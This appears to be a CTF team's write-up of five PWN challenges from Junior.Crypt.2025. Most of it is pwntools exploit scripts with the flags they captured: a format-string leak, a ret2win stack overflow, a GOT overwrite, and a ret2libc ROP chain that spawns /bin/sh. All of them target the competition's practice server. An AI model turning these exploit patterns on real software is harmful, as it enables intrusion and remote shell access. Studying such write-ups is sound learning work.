team-logo
Published on

Junior.Crypt.2025 CTF - PWN challenges

Authors

Introduction

The Belarus Junior.Crypt.2025 CTF took place from July 1st to 3rd. We solved all 5 out of 5 PWN tasks. All the challenges were very easy and didn't even require detailed explanations. It was a good lesson for anyone starting out with PWN or wanting a refresher. More info about this CTF is here alt text

Table of contents

ChattyParrot

chatty-parrot
from pwn import *             

context.log_level = 'warning' 
env = {}
env["FLAG_VAL"] = "AAAA"

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="ctf.mf.grsu.by:9077"
ADDRESS, PORT = HOST.split(":")

BINARY_NAME="./ChattyParrot"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

for i in range(1, 250):
    
    p = remote(ADDRESS, PORT)
    #p = process(binary.path, env=env)
    payload = f"%{i}$s".encode()
    info(f"Payload {i}: {payload}")
    try:
        p.sendlineafter(b"Input your phrase:", payload)
        recv = p.recvline().strip()
    except Exception as e:
        recv = b""
    print(f"[{i}] RECV: {recv}")

    if b'grodno' in recv:
        print(f"[{i}] RECV: {recv}")
    p.close()
    
p.interactive()

grodno{J35KiI_P4RR07_Drug_M47u3}

GoldenByte

golden-byte
import angr
import sys

def main(argv):
  path_to_binary = "./GoldenByte"
  project = angr.Project(path_to_binary)
  initial_state = project.factory.entry_state()
  #sys.set_int_max_str_digits(100000000)     odhaczyc jak bedzie krzyczal, ze nie ma pamieci
  sm = project.factory.simgr(initial_state)
  # list of basic blocks to find or to avoid
  sm.explore(find=[], avoid=[])  
  
  for state in sm.deadended:
    print(state.posix.dumps(sys.stdin.fileno()))
  else:
    raise Exception('Could not find the solution')

if __name__ == '__main__':
  main(sys.argv)

Angr found 3202416105 grodno{D4dy4_m4TV31_Pr019r4l_kV4rT1RY_V_K421n0_V3D_n3_2N4L_PWN}

StackSmasher

stack-smasher
from aiohttp import payload_type
from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc ctf.mf.grsu.by 9078"

ADDRESS,PORT=HOST.split()[1:]


BINARY_NAME="./StackSmasher"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    
win=binary.sym.win
step1=binary.sym.step1
step2=binary.sym.step2

payload=40*b'A'+p64(step1)+p64(step2)+p64(win)
p.sendlineafter(b'Input username:',payload)

p.interactive()

grodno{unCL3_M47V3y_w45_h3R3_w17H_0ld_5Ch00L_3xPL017}

NeuralNet

NeuralNet
from pwn import *             

context.log_level = 'warning' 


context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc ctf.mf.grsu.by 9076"

ADDRESS,PORT=HOST.split()[1:]


BINARY_NAME="./NeuralNet_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

p.recvuntil(b'Prediction module address (predict_outcome): ')
addr_line = p.recvline().strip()
predict_addr = int(addr_line, 16)
warn(f"predict_outcome address: {hex(predict_addr)}")

exit_got_addr = predict_addr + 0x2e46
unlock_secret_research_data = predict_addr - 0x59
warn(f"exit address: {hex(exit_got_addr)}")
warn(f"unlock_secret_research_data address: {hex(unlock_secret_research_data)}")

p.sendlineafter(b'>',b'3')
p.sendlineafter(b'modify (hex): >', hex(exit_got_addr).encode())
p.sendlineafter(b'weight (hex): >', hex(unlock_secret_research_data).encode())
p.sendlineafter(b'>', b'4')

p.interactive()

grodno{p3R3D08UchIL_n3ir053t_prY4M0_v_G0T}

KindAuthor

Kind Author
from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc ctf.mf.grsu.by 9075"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./KindAuthor"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

got_puts=binary.got.puts
got_read=binary.got.read

main=binary.sym.main
plt_puts=binary.plt.puts

rop=ROP(binary)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi', 'ret'])[0]

payload=40*b'A'+p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(main)

p.sendlineafter(b'Input your data:',payload)
p.recvline()
puts=u64(p.recvline().strip().ljust(8, b"\x00"))
warn (f"puts: {puts:#x}")
libc.address=puts-0x805a0
warn (f"libc: {libc.address:#x}")

bin_sh=next(libc.search(b"/bin/sh"))
system=libc.sym.system

payload=40*b'A'
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)
p.sendlineafter(b'Input your data:',payload)

p.interactive()

grodno{bL491M1_N4M3R3n1Y4m1_VYm05ch3n4_d0R094_v_5h3lL}